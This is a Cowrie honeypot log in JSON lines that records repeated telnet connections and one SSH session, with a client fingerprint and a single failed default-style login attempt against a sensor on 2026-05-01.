{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":42400,"dst_ip":"10.17.0.5","dst_port":23,"session":"77e82e81a2ae","protocol":"telnet","message":"New connection: 173.249.63.118:42400 (10.17.0.5:23) [session: 77e82e81a2ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:14.647296Z"}
{"eventid":"cowrie.session.closed","duration":30.792025566101074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:14.657753Z","src_ip":"173.249.63.118","session":"3f1f821391da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.003012895584106,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:14.749099Z","src_ip":"173.249.63.118","session":"2c4ab5a3c63b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:15.117190Z","src_ip":"160.251.101.169","session":"e7ac35ec333f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.40691089630127,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:15.153944Z","src_ip":"173.249.63.118","session":"e662971ec30f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":43258,"dst_ip":"10.17.0.5","dst_port":23,"session":"ace69c339cc2","protocol":"telnet","message":"New connection: 173.249.63.118:43258 (10.17.0.5:23) [session: ace69c339cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:16.245458Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":45068,"dst_ip":"10.17.0.5","dst_port":23,"session":"270abc3e1650","protocol":"telnet","message":"New connection: 173.249.63.118:45068 (10.17.0.5:23) [session: 270abc3e1650]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:16.345312Z"}
{"eventid":"cowrie.session.closed","duration":30.598817825317383,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:16.543587Z","src_ip":"173.249.63.118","session":"6361ba4efc22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":43216,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd2cdc912b51","protocol":"telnet","message":"New connection: 173.249.63.118:43216 (10.17.0.5:23) [session: bd2cdc912b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:17.147965Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":45908,"dst_ip":"10.17.0.5","dst_port":23,"session":"de74eaf3fac6","protocol":"telnet","message":"New connection: 173.249.63.118:45908 (10.17.0.5:23) [session: de74eaf3fac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:17.950522Z"}
{"eventid":"cowrie.session.closed","duration":30.907430171966553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:18.455792Z","src_ip":"173.249.63.118","session":"d6b695bb2854","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09309720993042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:18.646248Z","src_ip":"173.249.63.118","session":"60d2e541ec05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":45420,"dst_ip":"10.17.0.5","dst_port":23,"session":"b279091dbea1","protocol":"telnet","message":"New connection: 173.249.63.118:45420 (10.17.0.5:23) [session: b279091dbea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:19.047280Z"}
{"eventid":"cowrie.session.closed","duration":30.391570806503296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:19.249349Z","src_ip":"173.249.63.118","session":"fbd76ed2bce0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":46118,"dst_ip":"10.17.0.5","dst_port":23,"session":"99ea0261a455","protocol":"telnet","message":"New connection: 173.249.63.118:46118 (10.17.0.5:23) [session: 99ea0261a455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:19.354146Z"}
{"eventid":"cowrie.session.closed","duration":30.76624822616577,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:19.442964Z","src_ip":"51.161.172.108","session":"849d6497ef12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91160273551941,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:19.458119Z","src_ip":"173.249.63.118","session":"4ee3a3ef021c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.496510982513428,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:19.844371Z","src_ip":"173.249.63.118","session":"7dcf850f533d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":46968,"dst_ip":"10.17.0.5","dst_port":23,"session":"22e9703b109d","protocol":"telnet","message":"New connection: 173.249.63.118:46968 (10.17.0.5:23) [session: 22e9703b109d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:19.947494Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":47372,"dst_ip":"10.17.0.5","dst_port":23,"session":"794b83da7e3e","protocol":"telnet","message":"New connection: 173.249.63.118:47372 (10.17.0.5:23) [session: 794b83da7e3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:20.544805Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":46260,"dst_ip":"10.17.0.5","dst_port":23,"session":"715420599cdf","protocol":"telnet","message":"New connection: 173.249.63.118:46260 (10.17.0.5:23) [session: 715420599cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:21.643675Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":47370,"dst_ip":"10.17.0.5","dst_port":23,"session":"af2880d0f8e0","protocol":"telnet","message":"New connection: 173.249.63.118:47370 (10.17.0.5:23) [session: af2880d0f8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:21.647799Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":47434,"dst_ip":"10.17.0.5","dst_port":23,"session":"3442f4bef14c","protocol":"telnet","message":"New connection: 173.249.63.118:47434 (10.17.0.5:23) [session: 3442f4bef14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:21.657935Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":46800,"dst_ip":"10.17.0.5","dst_port":23,"session":"72413e91f699","protocol":"telnet","message":"New connection: 173.249.63.118:46800 (10.17.0.5:23) [session: 72413e91f699]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:21.661650Z"}
{"eventid":"cowrie.session.closed","duration":33.084009885787964,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:21.945958Z","src_ip":"173.249.63.118","session":"fe44a48538a7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.993887424468994,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:22.444936Z","src_ip":"173.249.63.118","session":"4d7e36085bf8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":48784,"dst_ip":"10.17.0.5","dst_port":23,"session":"d9d0f72a257e","protocol":"telnet","message":"New connection: 173.249.63.118:48784 (10.17.0.5:23) [session: d9d0f72a257e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:23.145951Z"}
{"eventid":"cowrie.session.closed","duration":31.00104284286499,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:23.156091Z","src_ip":"173.249.63.118","session":"4ab58845690e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.507957458496094,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:23.253616Z","src_ip":"173.249.63.118","session":"2f49e4937b78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.102705717086792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:23.753500Z","src_ip":"173.249.63.118","session":"9a0dd4d45e09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.101","src_port":46328,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0d0d6164ca5","protocol":"ssh","message":"New connection: 190.108.60.101:46328 (10.17.0.5:22) [session: a0d0d6164ca5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:24.006278Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:24.015511Z","src_ip":"190.108.60.101","session":"a0d0d6164ca5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:24.228798Z","src_ip":"190.108.60.101","session":"a0d0d6164ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.101348876953125,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:24.448560Z","src_ip":"173.249.63.118","session":"5f14b56d62ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.313814401626587,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:24.556107Z","src_ip":"173.249.63.118","session":"42011a73fe61","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.811176300048828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:24.856786Z","src_ip":"173.249.63.118","session":"7024b974c307","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.000694036483765,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:25.050779Z","src_ip":"173.249.63.118","session":"1e342eb64164","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Qwerty1!","message":"login attempt [ubuntu/Qwerty1!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:25.085675Z","src_ip":"190.108.60.101","session":"a0d0d6164ca5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.711608409881592,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:25.659846Z","src_ip":"173.249.63.118","session":"fede9ae86f25","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.403764247894287,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:25.848188Z","src_ip":"173.249.63.118","session":"6736805f1b73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":49102,"dst_ip":"10.17.0.5","dst_port":23,"session":"0483897fb2c4","protocol":"telnet","message":"New connection: 173.249.63.118:49102 (10.17.0.5:23) [session: 0483897fb2c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:25.881016Z"}
{"eventid":"cowrie.session.closed","duration":30.20618486404419,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:26.049726Z","src_ip":"173.249.63.118","session":"bd9a3c4cf8ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:26.297142Z","src_ip":"190.108.60.101","session":"a0d0d6164ca5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.99.38.72","src_port":38636,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdaaf03468ea","protocol":"telnet","message":"New connection: 167.99.38.72:38636 (159.203.135.109:23) [session: fdaaf03468ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:26.626112Z"}
{"eventid":"cowrie.session.closed","duration":31.615925073623657,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:26.760468Z","src_ip":"173.249.63.118","session":"0fa221ea9e9d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.890642642974854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:27.948386Z","src_ip":"173.249.63.118","session":"2e17a8711cd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.406059503555298,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:28.050677Z","src_ip":"173.249.63.118","session":"1a0a01f2805e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.900240659713745,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:28.246824Z","src_ip":"173.249.63.118","session":"48464d8da7bb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30389428138733,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:28.451795Z","src_ip":"173.249.63.118","session":"e26e40aa68eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":51454,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4c3642374e1","protocol":"telnet","message":"New connection: 173.249.63.118:51454 (10.17.0.5:23) [session: f4c3642374e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:28.761572Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":52116,"dst_ip":"10.17.0.5","dst_port":23,"session":"95575197d994","protocol":"telnet","message":"New connection: 173.249.63.118:52116 (10.17.0.5:23) [session: 95575197d994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:28.944623Z"}
{"eventid":"cowrie.session.closed","duration":30.304283142089844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:29.055597Z","src_ip":"173.249.63.118","session":"c104a29f232a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.399000644683838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:29.146122Z","src_ip":"173.249.63.118","session":"d07ce03c237b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.30564618110657,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:29.749621Z","src_ip":"173.249.63.118","session":"a8948401749a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":52078,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dfffb43a3e4","protocol":"telnet","message":"New connection: 173.249.63.118:52078 (10.17.0.5:23) [session: 8dfffb43a3e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:29.850240Z"}
{"eventid":"cowrie.session.closed","duration":31.102654218673706,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:29.948079Z","src_ip":"173.249.63.118","session":"69bd58687e9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.9113872051239,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:29.955761Z","src_ip":"173.249.63.118","session":"5870d1b21c26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.502029180526733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:30.049258Z","src_ip":"173.249.63.118","session":"5f649bf5e1f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":54250,"dst_ip":"10.17.0.5","dst_port":23,"session":"58e998f59965","protocol":"telnet","message":"New connection: 173.249.63.118:54250 (10.17.0.5:23) [session: 58e998f59965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:31.546332Z"}
{"eventid":"cowrie.session.closed","duration":31.895692348480225,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:31.953794Z","src_ip":"173.249.63.118","session":"793056cd6a32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.0153694152832,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:31.959076Z","src_ip":"173.249.63.118","session":"eb4e178d76c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":54026,"dst_ip":"10.17.0.5","dst_port":23,"session":"f75d2573b96e","protocol":"telnet","message":"New connection: 173.249.63.118:54026 (10.17.0.5:23) [session: f75d2573b96e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:32.154013Z"}
{"eventid":"cowrie.session.closed","duration":30.820205211639404,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:32.263540Z","src_ip":"173.249.63.118","session":"b1f47e1ce8dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.513481378555298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:32.755462Z","src_ip":"173.249.63.118","session":"40d29ef8928a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.80538821220398,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:32.763526Z","src_ip":"173.249.63.118","session":"cd2f9578587c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.180959463119507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:32.844529Z","src_ip":"173.249.63.118","session":"8c85bc66ca66","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.999749898910522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:33.344348Z","src_ip":"173.249.63.118","session":"1bc5534fb7e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.417760848999023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:33.561079Z","src_ip":"173.249.63.118","session":"a45024ee2dd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":56374,"dst_ip":"10.17.0.5","dst_port":23,"session":"44aaacb5e3a3","protocol":"telnet","message":"New connection: 173.249.63.118:56374 (10.17.0.5:23) [session: 44aaacb5e3a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:34.445028Z"}
{"eventid":"cowrie.session.closed","duration":30.81405782699585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:34.456909Z","src_ip":"173.249.63.118","session":"2e62c2334b31","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":55820,"dst_ip":"10.17.0.5","dst_port":23,"session":"307887da5835","protocol":"telnet","message":"New connection: 173.249.63.118:55820 (10.17.0.5:23) [session: 307887da5835]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:34.553754Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":55112,"dst_ip":"10.17.0.5","dst_port":23,"session":"fa472e63f995","protocol":"telnet","message":"New connection: 173.249.63.118:55112 (10.17.0.5:23) [session: fa472e63f995]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:34.559309Z"}
{"eventid":"cowrie.session.closed","duration":31.901695728302002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:36.144705Z","src_ip":"173.249.63.118","session":"af6f0faf06ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":57938,"dst_ip":"10.17.0.5","dst_port":23,"session":"f235a2a65458","protocol":"telnet","message":"New connection: 173.249.63.118:57938 (10.17.0.5:23) [session: f235a2a65458]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:36.444474Z"}
{"eventid":"cowrie.session.closed","duration":31.20361852645874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:37.150547Z","src_ip":"173.249.63.118","session":"f91289361f76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.102469444274902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:37.347349Z","src_ip":"173.249.63.118","session":"aba67d84044f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.507673263549805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:37.549353Z","src_ip":"173.249.63.118","session":"379e61470692","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":58550,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ef2a4b04ee6","protocol":"telnet","message":"New connection: 173.249.63.118:58550 (10.17.0.5:23) [session: 8ef2a4b04ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:38.457575Z"}
{"eventid":"cowrie.session.closed","duration":30.998284578323364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:39.346582Z","src_ip":"173.249.63.118","session":"2724b10a8b30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.63.118","src_port":60310,"dst_ip":"10.17.0.5","dst_port":23,"session":"bed6827d42eb","protocol":"telnet","message":"New connection: 173.249.63.118:60310 (10.17.0.5:23) [session: bed6827d42eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:47:39.445928Z"}
